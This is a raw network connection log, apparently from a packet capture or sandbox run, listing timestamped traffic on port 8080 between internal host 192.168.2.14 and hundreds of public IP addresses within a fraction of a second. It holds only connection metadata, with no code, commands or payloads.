Feb 27, 2025 07:08:34.553373098 CET	8080	25538	31.93.80.245	192.168.2.14
Feb 27, 2025 07:08:34.553383112 CET	8080	25538	31.69.185.86	192.168.2.14
Feb 27, 2025 07:08:34.553394079 CET	8080	25538	85.50.34.233	192.168.2.14
Feb 27, 2025 07:08:34.553399086 CET	25538	8080	192.168.2.14	85.192.236.97
Feb 27, 2025 07:08:34.553404093 CET	25538	8080	192.168.2.14	31.93.80.245
Feb 27, 2025 07:08:34.553406954 CET	8080	25538	31.154.224.173	192.168.2.14
Feb 27, 2025 07:08:34.553417921 CET	8080	25538	31.62.19.146	192.168.2.14
Feb 27, 2025 07:08:34.553430080 CET	8080	25538	94.166.255.127	192.168.2.14
Feb 27, 2025 07:08:34.553430080 CET	25538	8080	192.168.2.14	85.50.34.233
Feb 27, 2025 07:08:34.553433895 CET	25538	8080	192.168.2.14	31.69.185.86
Feb 27, 2025 07:08:34.553442001 CET	8080	25538	95.232.205.142	192.168.2.14
Feb 27, 2025 07:08:34.553442955 CET	25538	8080	192.168.2.14	31.154.224.173
Feb 27, 2025 07:08:34.553450108 CET	25538	8080	192.168.2.14	31.62.19.146
Feb 27, 2025 07:08:34.553455114 CET	8080	25538	85.246.50.243	192.168.2.14
Feb 27, 2025 07:08:34.553467035 CET	8080	25538	31.17.220.16	192.168.2.14
Feb 27, 2025 07:08:34.553473949 CET	25538	8080	192.168.2.14	94.166.255.127
Feb 27, 2025 07:08:34.553477049 CET	25538	8080	192.168.2.14	95.232.205.142
Feb 27, 2025 07:08:34.553478956 CET	8080	25538	85.15.189.157	192.168.2.14
Feb 27, 2025 07:08:34.553491116 CET	8080	25538	62.237.185.208	192.168.2.14
Feb 27, 2025 07:08:34.553495884 CET	25538	8080	192.168.2.14	31.17.220.16
Feb 27, 2025 07:08:34.553500891 CET	25538	8080	192.168.2.14	85.246.50.243
Feb 27, 2025 07:08:34.553503036 CET	8080	25538	95.216.75.83	192.168.2.14
Feb 27, 2025 07:08:34.553510904 CET	25538	8080	192.168.2.14	85.15.189.157
Feb 27, 2025 07:08:34.553515911 CET	8080	25538	95.158.169.40	192.168.2.14
Feb 27, 2025 07:08:34.553528070 CET	8080	25538	95.68.90.237	192.168.2.14
Feb 27, 2025 07:08:34.553533077 CET	25538	8080	192.168.2.14	62.237.185.208
Feb 27, 2025 07:08:34.553534985 CET	25538	8080	192.168.2.14	95.216.75.83
Feb 27, 2025 07:08:34.553539991 CET	8080	25538	62.193.190.8	192.168.2.14
Feb 27, 2025 07:08:34.553546906 CET	25538	8080	192.168.2.14	95.158.169.40
Feb 27, 2025 07:08:34.553550005 CET	8080	25538	94.97.180.18	192.168.2.14
Feb 27, 2025 07:08:34.553561926 CET	8080	25538	62.102.20.185	192.168.2.14
Feb 27, 2025 07:08:34.553567886 CET	25538	8080	192.168.2.14	95.68.90.237
Feb 27, 2025 07:08:34.553574085 CET	8080	25538	31.226.115.1	192.168.2.14
Feb 27, 2025 07:08:34.553586960 CET	8080	25538	62.85.232.45	192.168.2.14
Feb 27, 2025 07:08:34.553586960 CET	25538	8080	192.168.2.14	94.97.180.18
Feb 27, 2025 07:08:34.553587914 CET	25538	8080	192.168.2.14	62.193.190.8
Feb 27, 2025 07:08:34.553608894 CET	25538	8080	192.168.2.14	62.102.20.185
Feb 27, 2025 07:08:34.553620100 CET	25538	8080	192.168.2.14	31.226.115.1
Feb 27, 2025 07:08:34.553628922 CET	25538	8080	192.168.2.14	62.85.232.45
Feb 27, 2025 07:08:34.555852890 CET	8080	25538	94.238.186.115	192.168.2.14
Feb 27, 2025 07:08:34.555871010 CET	8080	25538	62.234.4.200	192.168.2.14
Feb 27, 2025 07:08:34.555883884 CET	8080	25538	94.244.11.140	192.168.2.14
Feb 27, 2025 07:08:34.555896997 CET	8080	25538	94.202.108.255	192.168.2.14
Feb 27, 2025 07:08:34.555907965 CET	25538	8080	192.168.2.14	62.234.4.200
Feb 27, 2025 07:08:34.555907965 CET	25538	8080	192.168.2.14	94.238.186.115
Feb 27, 2025 07:08:34.555910110 CET	8080	25538	95.253.220.14	192.168.2.14
Feb 27, 2025 07:08:34.555923939 CET	8080	25538	94.23.158.24	192.168.2.14
Feb 27, 2025 07:08:34.555936098 CET	8080	25538	94.35.1.58	192.168.2.14
Feb 27, 2025 07:08:34.555943012 CET	8080	25538	85.163.227.184	192.168.2.14
Feb 27, 2025 07:08:34.555953979 CET	8080	25538	62.80.136.10	192.168.2.14
Feb 27, 2025 07:08:34.555957079 CET	25538	8080	192.168.2.14	94.202.108.255
Feb 27, 2025 07:08:34.555967093 CET	8080	25538	62.36.165.156	192.168.2.14
Feb 27, 2025 07:08:34.555973053 CET	25538	8080	192.168.2.14	95.253.220.14
Feb 27, 2025 07:08:34.555974007 CET	25538	8080	192.168.2.14	94.23.158.24
Feb 27, 2025 07:08:34.555980921 CET	8080	25538	94.138.180.168	192.168.2.14
Feb 27, 2025 07:08:34.555984020 CET	25538	8080	192.168.2.14	94.244.11.140
Feb 27, 2025 07:08:34.555994034 CET	8080	25538	31.247.218.92	192.168.2.14
Feb 27, 2025 07:08:34.556004047 CET	25538	8080	192.168.2.14	62.80.136.10
Feb 27, 2025 07:08:34.556006908 CET	8080	25538	95.227.14.93	192.168.2.14
Feb 27, 2025 07:08:34.556006908 CET	25538	8080	192.168.2.14	94.35.1.58
Feb 27, 2025 07:08:34.556010962 CET	25538	8080	192.168.2.14	85.163.227.184
Feb 27, 2025 07:08:34.556020975 CET	8080	25538	62.156.180.117	192.168.2.14
Feb 27, 2025 07:08:34.556035042 CET	8080	25538	31.246.72.179	192.168.2.14
Feb 27, 2025 07:08:34.556047916 CET	8080	25538	95.1.104.200	192.168.2.14
Feb 27, 2025 07:08:34.556060076 CET	8080	25538	85.5.220.41	192.168.2.14
Feb 27, 2025 07:08:34.556061983 CET	25538	8080	192.168.2.14	94.138.180.168
Feb 27, 2025 07:08:34.556070089 CET	25538	8080	192.168.2.14	62.36.165.156
Feb 27, 2025 07:08:34.556072950 CET	8080	25538	31.250.75.91	192.168.2.14
Feb 27, 2025 07:08:34.556075096 CET	25538	8080	192.168.2.14	62.156.180.117
Feb 27, 2025 07:08:34.556077003 CET	25538	8080	192.168.2.14	95.227.14.93
Feb 27, 2025 07:08:34.556077003 CET	25538	8080	192.168.2.14	31.247.218.92
Feb 27, 2025 07:08:34.556085110 CET	8080	25538	85.135.199.72	192.168.2.14
Feb 27, 2025 07:08:34.556088924 CET	25538	8080	192.168.2.14	31.246.72.179
Feb 27, 2025 07:08:34.556098938 CET	8080	25538	94.144.28.95	192.168.2.14
Feb 27, 2025 07:08:34.556102991 CET	25538	8080	192.168.2.14	95.1.104.200
Feb 27, 2025 07:08:34.556102991 CET	25538	8080	192.168.2.14	85.5.220.41
Feb 27, 2025 07:08:34.556103945 CET	25538	8080	192.168.2.14	31.250.75.91
Feb 27, 2025 07:08:34.556113005 CET	8080	25538	31.124.63.129	192.168.2.14
Feb 27, 2025 07:08:34.556170940 CET	25538	8080	192.168.2.14	85.135.199.72
Feb 27, 2025 07:08:34.556180954 CET	25538	8080	192.168.2.14	31.124.63.129
Feb 27, 2025 07:08:34.556195974 CET	25538	8080	192.168.2.14	94.144.28.95
Feb 27, 2025 07:08:34.557214975 CET	8080	25538	62.165.127.184	192.168.2.14
Feb 27, 2025 07:08:34.557226896 CET	8080	25538	31.234.115.217	192.168.2.14
Feb 27, 2025 07:08:34.557235956 CET	8080	25538	85.235.159.208	192.168.2.14
Feb 27, 2025 07:08:34.557245016 CET	8080	25538	85.2.125.83	192.168.2.14
Feb 27, 2025 07:08:34.557255983 CET	8080	25538	94.126.125.176	192.168.2.14
Feb 27, 2025 07:08:34.557260990 CET	25538	8080	192.168.2.14	62.165.127.184
Feb 27, 2025 07:08:34.557265997 CET	8080	25538	95.196.234.196	192.168.2.14
Feb 27, 2025 07:08:34.557266951 CET	25538	8080	192.168.2.14	31.234.115.217
Feb 27, 2025 07:08:34.557271004 CET	25538	8080	192.168.2.14	85.235.159.208
Feb 27, 2025 07:08:34.557274103 CET	25538	8080	192.168.2.14	85.2.125.83
Feb 27, 2025 07:08:34.557279110 CET	8080	25538	62.158.215.12	192.168.2.14
Feb 27, 2025 07:08:34.557286978 CET	25538	8080	192.168.2.14	94.126.125.176
Feb 27, 2025 07:08:34.557288885 CET	8080	25538	94.10.76.178	192.168.2.14
Feb 27, 2025 07:08:34.557301044 CET	8080	25538	62.253.222.208	192.168.2.14
Feb 27, 2025 07:08:34.557312012 CET	8080	25538	95.2.99.51	192.168.2.14
Feb 27, 2025 07:08:34.557322025 CET	8080	25538	95.250.58.121	192.168.2.14
Feb 27, 2025 07:08:34.557322025 CET	25538	8080	192.168.2.14	62.158.215.12
Feb 27, 2025 07:08:34.557329893 CET	25538	8080	192.168.2.14	95.196.234.196
Feb 27, 2025 07:08:34.557333946 CET	8080	25538	62.10.122.140	192.168.2.14
Feb 27, 2025 07:08:34.557347059 CET	8080	25538	85.158.145.187	192.168.2.14
Feb 27, 2025 07:08:34.557358027 CET	8080	25538	94.251.101.95	192.168.2.14
Feb 27, 2025 07:08:34.557363987 CET	8080	25538	95.225.208.241	192.168.2.14
Feb 27, 2025 07:08:34.557369947 CET	25538	8080	192.168.2.14	62.253.222.208
Feb 27, 2025 07:08:34.557370901 CET	8080	25538	85.18.28.10	192.168.2.14
Feb 27, 2025 07:08:34.557374954 CET	25538	8080	192.168.2.14	94.10.76.178
Feb 27, 2025 07:08:34.557378054 CET	25538	8080	192.168.2.14	95.250.58.121
Feb 27, 2025 07:08:34.557383060 CET	8080	25538	62.246.240.139	192.168.2.14
Feb 27, 2025 07:08:34.557389975 CET	25538	8080	192.168.2.14	85.158.145.187
Feb 27, 2025 07:08:34.557390928 CET	25538	8080	192.168.2.14	95.2.99.51
Feb 27, 2025 07:08:34.557394981 CET	8080	25538	62.0.64.139	192.168.2.14
Feb 27, 2025 07:08:34.557395935 CET	25538	8080	192.168.2.14	62.10.122.140
Feb 27, 2025 07:08:34.557405949 CET	8080	25538	85.53.42.141	192.168.2.14
Feb 27, 2025 07:08:34.557416916 CET	8080	25538	95.160.72.170	192.168.2.14
Feb 27, 2025 07:08:34.557420015 CET	25538	8080	192.168.2.14	95.225.208.241
Feb 27, 2025 07:08:34.557423115 CET	8080	25538	95.73.220.120	192.168.2.14
Feb 27, 2025 07:08:34.557423115 CET	25538	8080	192.168.2.14	94.251.101.95
Feb 27, 2025 07:08:34.557424068 CET	25538	8080	192.168.2.14	62.0.64.139
Feb 27, 2025 07:08:34.557424068 CET	25538	8080	192.168.2.14	85.18.28.10
Feb 27, 2025 07:08:34.557434082 CET	8080	25538	85.125.22.61	192.168.2.14
Feb 27, 2025 07:08:34.557444096 CET	25538	8080	192.168.2.14	62.246.240.139
Feb 27, 2025 07:08:34.557445049 CET	8080	25538	94.188.123.121	192.168.2.14
Feb 27, 2025 07:08:34.557451963 CET	25538	8080	192.168.2.14	85.53.42.141
Feb 27, 2025 07:08:34.557454109 CET	25538	8080	192.168.2.14	95.73.220.120
Feb 27, 2025 07:08:34.557457924 CET	8080	25538	94.157.54.71	192.168.2.14
Feb 27, 2025 07:08:34.557457924 CET	25538	8080	192.168.2.14	95.160.72.170
Feb 27, 2025 07:08:34.557461977 CET	25538	8080	192.168.2.14	85.125.22.61
Feb 27, 2025 07:08:34.557472944 CET	8080	25538	95.112.158.155	192.168.2.14
Feb 27, 2025 07:08:34.557483912 CET	8080	25538	62.205.132.185	192.168.2.14
Feb 27, 2025 07:08:34.557495117 CET	8080	25538	62.131.240.36	192.168.2.14
Feb 27, 2025 07:08:34.557495117 CET	25538	8080	192.168.2.14	94.188.123.121
Feb 27, 2025 07:08:34.557495117 CET	25538	8080	192.168.2.14	94.157.54.71
Feb 27, 2025 07:08:34.557504892 CET	8080	25538	85.11.161.151	192.168.2.14
Feb 27, 2025 07:08:34.557516098 CET	8080	25538	94.36.113.210	192.168.2.14
Feb 27, 2025 07:08:34.557526112 CET	8080	25538	94.246.8.84	192.168.2.14
Feb 27, 2025 07:08:34.557538986 CET	8080	25538	62.167.218.156	192.168.2.14
Feb 27, 2025 07:08:34.557540894 CET	25538	8080	192.168.2.14	95.112.158.155
Feb 27, 2025 07:08:34.557548046 CET	25538	8080	192.168.2.14	94.36.113.210
Feb 27, 2025 07:08:34.557549000 CET	8080	25538	31.131.69.254	192.168.2.14
Feb 27, 2025 07:08:34.557550907 CET	25538	8080	192.168.2.14	85.11.161.151
Feb 27, 2025 07:08:34.557553053 CET	25538	8080	192.168.2.14	62.205.132.185
Feb 27, 2025 07:08:34.557553053 CET	25538	8080	192.168.2.14	62.131.240.36
Feb 27, 2025 07:08:34.557559967 CET	8080	25538	85.35.231.73	192.168.2.14
Feb 27, 2025 07:08:34.557568073 CET	25538	8080	192.168.2.14	94.246.8.84
Feb 27, 2025 07:08:34.557574987 CET	8080	25538	62.70.95.190	192.168.2.14
Feb 27, 2025 07:08:34.557574987 CET	25538	8080	192.168.2.14	62.167.218.156
Feb 27, 2025 07:08:34.557586908 CET	8080	25538	94.81.19.186	192.168.2.14
Feb 27, 2025 07:08:34.557599068 CET	8080	25538	31.137.113.153	192.168.2.14
Feb 27, 2025 07:08:34.557609081 CET	8080	25538	31.148.155.145	192.168.2.14
Feb 27, 2025 07:08:34.557616949 CET	25538	8080	192.168.2.14	85.35.231.73
Feb 27, 2025 07:08:34.557620049 CET	8080	25538	62.93.15.10	192.168.2.14
Feb 27, 2025 07:08:34.557622910 CET	25538	8080	192.168.2.14	31.131.69.254
Feb 27, 2025 07:08:34.557631969 CET	8080	25538	31.26.134.85	192.168.2.14
Feb 27, 2025 07:08:34.557642937 CET	8080	25538	95.54.144.174	192.168.2.14
Feb 27, 2025 07:08:34.557658911 CET	25538	8080	192.168.2.14	94.81.19.186
Feb 27, 2025 07:08:34.557662964 CET	25538	8080	192.168.2.14	62.70.95.190
Feb 27, 2025 07:08:34.557662964 CET	25538	8080	192.168.2.14	62.93.15.10
Feb 27, 2025 07:08:34.557666063 CET	25538	8080	192.168.2.14	31.148.155.145
Feb 27, 2025 07:08:34.557666063 CET	25538	8080	192.168.2.14	31.26.134.85
Feb 27, 2025 07:08:34.557670116 CET	25538	8080	192.168.2.14	31.137.113.153
Feb 27, 2025 07:08:34.557679892 CET	25538	8080	192.168.2.14	95.54.144.174
Feb 27, 2025 07:08:34.561168909 CET	8080	25538	95.149.10.101	192.168.2.14
Feb 27, 2025 07:08:34.561182022 CET	8080	25538	85.202.13.38	192.168.2.14
Feb 27, 2025 07:08:34.561192989 CET	8080	25538	31.213.179.52	192.168.2.14
Feb 27, 2025 07:08:34.561203957 CET	8080	25538	85.210.234.153	192.168.2.14
Feb 27, 2025 07:08:34.561214924 CET	8080	25538	85.71.171.164	192.168.2.14
Feb 27, 2025 07:08:34.561227083 CET	8080	25538	62.54.218.72	192.168.2.14
Feb 27, 2025 07:08:34.561235905 CET	8080	25538	31.147.217.92	192.168.2.14
Feb 27, 2025 07:08:34.561245918 CET	8080	25538	94.19.43.250	192.168.2.14
Feb 27, 2025 07:08:34.561255932 CET	8080	25538	62.43.147.74	192.168.2.14
Feb 27, 2025 07:08:34.561255932 CET	25538	8080	192.168.2.14	85.210.234.153
Feb 27, 2025 07:08:34.561255932 CET	25538	8080	192.168.2.14	85.71.171.164
Feb 27, 2025 07:08:34.561259031 CET	25538	8080	192.168.2.14	85.202.13.38
Feb 27, 2025 07:08:34.561264992 CET	25538	8080	192.168.2.14	95.149.10.101
Feb 27, 2025 07:08:34.561265945 CET	25538	8080	192.168.2.14	31.213.179.52
Feb 27, 2025 07:08:34.561266899 CET	8080	25538	31.115.111.84	192.168.2.14
Feb 27, 2025 07:08:34.561268091 CET	25538	8080	192.168.2.14	94.19.43.250
Feb 27, 2025 07:08:34.561279058 CET	8080	25538	62.213.204.221	192.168.2.14
Feb 27, 2025 07:08:34.561278105 CET	25538	8080	192.168.2.14	62.54.218.72
Feb 27, 2025 07:08:34.561289072 CET	8080	25538	62.68.221.245	192.168.2.14
Feb 27, 2025 07:08:34.561301947 CET	8080	25538	94.79.176.169	192.168.2.14
Feb 27, 2025 07:08:34.561306953 CET	25538	8080	192.168.2.14	31.115.111.84
Feb 27, 2025 07:08:34.561307907 CET	8080	25538	95.43.6.39	192.168.2.14
Feb 27, 2025 07:08:34.561311007 CET	25538	8080	192.168.2.14	31.147.217.92
Feb 27, 2025 07:08:34.561311007 CET	25538	8080	192.168.2.14	62.43.147.74
Feb 27, 2025 07:08:34.561316013 CET	25538	8080	192.168.2.14	62.213.204.221
Feb 27, 2025 07:08:34.561320066 CET	8080	25538	31.55.228.193	192.168.2.14
Feb 27, 2025 07:08:34.561331987 CET	8080	25538	85.241.231.232	192.168.2.14
Feb 27, 2025 07:08:34.561342001 CET	8080	25538	85.154.8.251	192.168.2.14
Feb 27, 2025 07:08:34.561345100 CET	25538	8080	192.168.2.14	62.68.221.245
Feb 27, 2025 07:08:34.561347008 CET	25538	8080	192.168.2.14	94.79.176.169
Feb 27, 2025 07:08:34.561352968 CET	8080	25538	62.200.93.224	192.168.2.14
Feb 27, 2025 07:08:34.561359882 CET	25538	8080	192.168.2.14	95.43.6.39
Feb 27, 2025 07:08:34.561361074 CET	25538	8080	192.168.2.14	31.55.228.193
Feb 27, 2025 07:08:34.561362982 CET	8080	25538	85.59.26.245	192.168.2.14
Feb 27, 2025 07:08:34.561374903 CET	8080	25538	85.92.195.187	192.168.2.14
Feb 27, 2025 07:08:34.561378956 CET	25538	8080	192.168.2.14	85.241.231.232
Feb 27, 2025 07:08:34.561387062 CET	8080	25538	94.116.154.28	192.168.2.14
Feb 27, 2025 07:08:34.561400890 CET	8080	25538	62.250.220.252	192.168.2.14
Feb 27, 2025 07:08:34.561412096 CET	8080	25538	94.137.129.20	192.168.2.14
Feb 27, 2025 07:08:34.561420918 CET	25538	8080	192.168.2.14	85.59.26.245
Feb 27, 2025 07:08:34.561422110 CET	25538	8080	192.168.2.14	85.154.8.251
Feb 27, 2025 07:08:34.561423063 CET	8080	25538	31.245.148.86	192.168.2.14
Feb 27, 2025 07:08:34.561424971 CET	25538	8080	192.168.2.14	85.92.195.187
Feb 27, 2025 07:08:34.561431885 CET	25538	8080	192.168.2.14	62.200.93.224
Feb 27, 2025 07:08:34.561438084 CET	8080	25538	94.158.65.72	192.168.2.14
Feb 27, 2025 07:08:34.561455965 CET	25538	8080	192.168.2.14	94.116.154.28
Feb 27, 2025 07:08:34.561455965 CET	25538	8080	192.168.2.14	94.137.129.20
Feb 27, 2025 07:08:34.561456919 CET	8080	25538	31.31.176.220	192.168.2.14
Feb 27, 2025 07:08:34.561460972 CET	25538	8080	192.168.2.14	31.245.148.86
Feb 27, 2025 07:08:34.561467886 CET	25538	8080	192.168.2.14	94.158.65.72
Feb 27, 2025 07:08:34.561469078 CET	25538	8080	192.168.2.14	62.250.220.252
Feb 27, 2025 07:08:34.561477900 CET	8080	25538	95.236.200.157	192.168.2.14
Feb 27, 2025 07:08:34.561490059 CET	8080	25538	85.15.186.239	192.168.2.14
Feb 27, 2025 07:08:34.561500072 CET	8080	25538	94.137.182.47	192.168.2.14
Feb 27, 2025 07:08:34.561506987 CET	25538	8080	192.168.2.14	31.31.176.220
Feb 27, 2025 07:08:34.561511040 CET	8080	25538	85.8.155.88	192.168.2.14
Feb 27, 2025 07:08:34.561522961 CET	8080	25538	31.198.115.74	192.168.2.14
Feb 27, 2025 07:08:34.561533928 CET	8080	25538	95.24.9.65	192.168.2.14
Feb 27, 2025 07:08:34.561533928 CET	25538	8080	192.168.2.14	94.137.182.47
Feb 27, 2025 07:08:34.561542034 CET	25538	8080	192.168.2.14	85.15.186.239
Feb 27, 2025 07:08:34.561544895 CET	8080	25538	85.133.108.160	192.168.2.14
Feb 27, 2025 07:08:34.561542034 CET	25538	8080	192.168.2.14	95.236.200.157
Feb 27, 2025 07:08:34.561548948 CET	25538	8080	192.168.2.14	85.8.155.88
Feb 27, 2025 07:08:34.561556101 CET	8080	25538	62.129.175.47	192.168.2.14
Feb 27, 2025 07:08:34.561569929 CET	8080	25538	62.197.146.98	192.168.2.14
Feb 27, 2025 07:08:34.561579943 CET	8080	25538	31.1.34.13	192.168.2.14
Feb 27, 2025 07:08:34.561588049 CET	25538	8080	192.168.2.14	85.133.108.160
Feb 27, 2025 07:08:34.561592102 CET	8080	25538	94.53.136.76	192.168.2.14
Feb 27, 2025 07:08:34.561592102 CET	25538	8080	192.168.2.14	31.198.115.74
Feb 27, 2025 07:08:34.561592102 CET	25538	8080	192.168.2.14	62.129.175.47
Feb 27, 2025 07:08:34.561597109 CET	8080	25538	85.129.45.147	192.168.2.14
Feb 27, 2025 07:08:34.561602116 CET	8080	25538	31.255.208.238	192.168.2.14
Feb 27, 2025 07:08:34.561604023 CET	25538	8080	192.168.2.14	95.24.9.65
Feb 27, 2025 07:08:34.561611891 CET	8080	25538	31.195.49.137	192.168.2.14
Feb 27, 2025 07:08:34.561611891 CET	25538	8080	192.168.2.14	62.197.146.98
Feb 27, 2025 07:08:34.561619997 CET	8080	25538	94.152.180.185	192.168.2.14
Feb 27, 2025 07:08:34.561651945 CET	25538	8080	192.168.2.14	85.129.45.147
Feb 27, 2025 07:08:34.561652899 CET	25538	8080	192.168.2.14	94.53.136.76
Feb 27, 2025 07:08:34.561655998 CET	25538	8080	192.168.2.14	31.255.208.238
Feb 27, 2025 07:08:34.561685085 CET	25538	8080	192.168.2.14	31.1.34.13
Feb 27, 2025 07:08:34.561686039 CET	25538	8080	192.168.2.14	94.152.180.185
Feb 27, 2025 07:08:34.561686039 CET	25538	8080	192.168.2.14	31.195.49.137
Feb 27, 2025 07:08:34.562150955 CET	8080	25538	94.103.171.60	192.168.2.14
Feb 27, 2025 07:08:34.562164068 CET	8080	25538	94.135.98.95	192.168.2.14
Feb 27, 2025 07:08:34.562175989 CET	8080	25538	31.147.17.15	192.168.2.14
Feb 27, 2025 07:08:34.562182903 CET	25538	8080	192.168.2.14	94.103.171.60
Feb 27, 2025 07:08:34.562184095 CET	8080	25538	85.196.76.106	192.168.2.14
Feb 27, 2025 07:08:34.562189102 CET	8080	25538	94.21.78.95	192.168.2.14
Feb 27, 2025 07:08:34.562199116 CET	8080	25538	31.196.254.178	192.168.2.14
Feb 27, 2025 07:08:34.562207937 CET	8080	25538	95.224.35.144	192.168.2.14
Feb 27, 2025 07:08:34.562211037 CET	25538	8080	192.168.2.14	94.135.98.95
Feb 27, 2025 07:08:34.562215090 CET	25538	8080	192.168.2.14	31.147.17.15
Feb 27, 2025 07:08:34.562217951 CET	8080	25538	95.36.105.69	192.168.2.14
Feb 27, 2025 07:08:34.562225103 CET	25538	8080	192.168.2.14	85.196.76.106
Feb 27, 2025 07:08:34.562226057 CET	25538	8080	192.168.2.14	94.21.78.95
Feb 27, 2025 07:08:34.562227964 CET	8080	25538	95.86.142.154	192.168.2.14
Feb 27, 2025 07:08:34.562232018 CET	25538	8080	192.168.2.14	31.196.254.178
Feb 27, 2025 07:08:34.562238932 CET	8080	25538	94.45.37.219	192.168.2.14
Feb 27, 2025 07:08:34.562241077 CET	25538	8080	192.168.2.14	95.224.35.144
Feb 27, 2025 07:08:34.562249899 CET	8080	25538	85.78.199.165	192.168.2.14
Feb 27, 2025 07:08:34.562249899 CET	25538	8080	192.168.2.14	95.36.105.69
Feb 27, 2025 07:08:34.562261105 CET	8080	25538	85.88.30.85	192.168.2.14
Feb 27, 2025 07:08:34.562272072 CET	8080	25538	94.52.64.231	192.168.2.14
Feb 27, 2025 07:08:34.562278986 CET	25538	8080	192.168.2.14	94.45.37.219
Feb 27, 2025 07:08:34.562283039 CET	8080	25538	85.192.101.22	192.168.2.14
Feb 27, 2025 07:08:34.562284946 CET	25538	8080	192.168.2.14	85.78.199.165
Feb 27, 2025 07:08:34.562287092 CET	25538	8080	192.168.2.14	95.86.142.154
Feb 27, 2025 07:08:34.562294960 CET	8080	25538	31.43.241.152	192.168.2.14
Feb 27, 2025 07:08:34.562306881 CET	8080	25538	62.248.193.148	192.168.2.14
Feb 27, 2025 07:08:34.562318087 CET	8080	25538	62.162.160.194	192.168.2.14
Feb 27, 2025 07:08:34.562326908 CET	8080	25538	94.39.49.207	192.168.2.14
Feb 27, 2025 07:08:34.562335968 CET	25538	8080	192.168.2.14	31.43.241.152
Feb 27, 2025 07:08:34.562338114 CET	25538	8080	192.168.2.14	85.192.101.22
Feb 27, 2025 07:08:34.562339067 CET	8080	25538	85.70.34.120	192.168.2.14
Feb 27, 2025 07:08:34.562344074 CET	25538	8080	192.168.2.14	94.52.64.231
Feb 27, 2025 07:08:34.562350035 CET	8080	25538	95.65.178.169	192.168.2.14
Feb 27, 2025 07:08:34.562361956 CET	8080	25538	85.177.198.133	192.168.2.14
Feb 27, 2025 07:08:34.562366962 CET	25538	8080	192.168.2.14	85.88.30.85
Feb 27, 2025 07:08:34.562372923 CET	8080	25538	85.217.119.54	192.168.2.14
Feb 27, 2025 07:08:34.562374115 CET	25538	8080	192.168.2.14	85.70.34.120
Feb 27, 2025 07:08:34.562378883 CET	25538	8080	192.168.2.14	62.248.193.148
Feb 27, 2025 07:08:34.562378883 CET	25538	8080	192.168.2.14	94.39.49.207
Feb 27, 2025 07:08:34.562386036 CET	8080	25538	62.188.240.57	192.168.2.14
Feb 27, 2025 07:08:34.562388897 CET	25538	8080	192.168.2.14	95.65.178.169
Feb 27, 2025 07:08:34.562393904 CET	25538	8080	192.168.2.14	62.162.160.194
Feb 27, 2025 07:08:34.562398911 CET	8080	25538	94.255.131.109	192.168.2.14
Feb 27, 2025 07:08:34.562405109 CET	25538	8080	192.168.2.14	85.217.119.54
Feb 27, 2025 07:08:34.562407017 CET	25538	8080	192.168.2.14	85.177.198.133
Feb 27, 2025 07:08:34.562414885 CET	8080	25538	94.27.46.118	192.168.2.14
Feb 27, 2025 07:08:34.562427998 CET	8080	25538	31.81.63.65	192.168.2.14
Feb 27, 2025 07:08:34.562437057 CET	25538	8080	192.168.2.14	94.255.131.109
Feb 27, 2025 07:08:34.562438965 CET	8080	25538	85.246.121.142	192.168.2.14
Feb 27, 2025 07:08:34.562449932 CET	8080	25538	94.53.190.143	192.168.2.14
Feb 27, 2025 07:08:34.562462091 CET	8080	25538	85.156.2.126	192.168.2.14
Feb 27, 2025 07:08:34.562470913 CET	8080	25538	85.95.94.203	192.168.2.14
Feb 27, 2025 07:08:34.562477112 CET	25538	8080	192.168.2.14	85.246.121.142
Feb 27, 2025 07:08:34.562477112 CET	25538	8080	192.168.2.14	94.53.190.143
Feb 27, 2025 07:08:34.562479973 CET	25538	8080	192.168.2.14	62.188.240.57
Feb 27, 2025 07:08:34.562480927 CET	25538	8080	192.168.2.14	94.27.46.118
Feb 27, 2025 07:08:34.562483072 CET	8080	25538	95.96.2.6	192.168.2.14
Feb 27, 2025 07:08:34.562494040 CET	8080	25538	62.207.127.75	192.168.2.14
Feb 27, 2025 07:08:34.562503099 CET	25538	8080	192.168.2.14	85.156.2.126
Feb 27, 2025 07:08:34.562503099 CET	25538	8080	192.168.2.14	31.81.63.65
Feb 27, 2025 07:08:34.562504053 CET	8080	25538	94.219.169.75	192.168.2.14
Feb 27, 2025 07:08:34.562503099 CET	25538	8080	192.168.2.14	85.95.94.203
Feb 27, 2025 07:08:34.562522888 CET	8080	25538	31.215.222.149	192.168.2.14
Feb 27, 2025 07:08:34.562532902 CET	25538	8080	192.168.2.14	95.96.2.6
Feb 27, 2025 07:08:34.562542915 CET	8080	25538	95.253.56.139	192.168.2.14
Feb 27, 2025 07:08:34.562556028 CET	8080	25538	85.81.166.123	192.168.2.14
Feb 27, 2025 07:08:34.562557936 CET	25538	8080	192.168.2.14	62.207.127.75
Feb 27, 2025 07:08:34.562566042 CET	8080	25538	85.144.106.36	192.168.2.14
Feb 27, 2025 07:08:34.562572002 CET	25538	8080	192.168.2.14	94.219.169.75
Feb 27, 2025 07:08:34.562577963 CET	8080	25538	85.89.174.168	192.168.2.14
Feb 27, 2025 07:08:34.562588930 CET	25538	8080	192.168.2.14	95.253.56.139
Feb 27, 2025 07:08:34.562589884 CET	8080	25538	31.6.86.178	192.168.2.14
Feb 27, 2025 07:08:34.562602043 CET	8080	25538	62.186.211.251	192.168.2.14
Feb 27, 2025 07:08:34.562608004 CET	25538	8080	192.168.2.14	31.215.222.149
Feb 27, 2025 07:08:34.562613964 CET	8080	25538	62.178.15.243	192.168.2.14
Feb 27, 2025 07:08:34.562617064 CET	25538	8080	192.168.2.14	85.81.166.123
Feb 27, 2025 07:08:34.562630892 CET	25538	8080	192.168.2.14	31.6.86.178
Feb 27, 2025 07:08:34.562635899 CET	25538	8080	192.168.2.14	85.89.174.168
Feb 27, 2025 07:08:34.562642097 CET	25538	8080	192.168.2.14	85.144.106.36
Feb 27, 2025 07:08:34.562642097 CET	25538	8080	192.168.2.14	62.186.211.251
Feb 27, 2025 07:08:34.562680960 CET	25538	8080	192.168.2.14	62.178.15.243
Feb 27, 2025 07:08:34.566205025 CET	8080	25538	62.192.119.56	192.168.2.14
Feb 27, 2025 07:08:34.566217899 CET	8080	25538	85.78.192.75	192.168.2.14
Feb 27, 2025 07:08:34.566226959 CET	8080	25538	85.96.24.236	192.168.2.14
Feb 27, 2025 07:08:34.566235065 CET	8080	25538	31.131.207.146	192.168.2.14
Feb 27, 2025 07:08:34.566246033 CET	8080	25538	62.65.191.198	192.168.2.14
Feb 27, 2025 07:08:34.566250086 CET	25538	8080	192.168.2.14	62.192.119.56
Feb 27, 2025 07:08:34.566257000 CET	8080	25538	31.176.36.110	192.168.2.14
Feb 27, 2025 07:08:34.566267967 CET	8080	25538	95.214.47.241	192.168.2.14
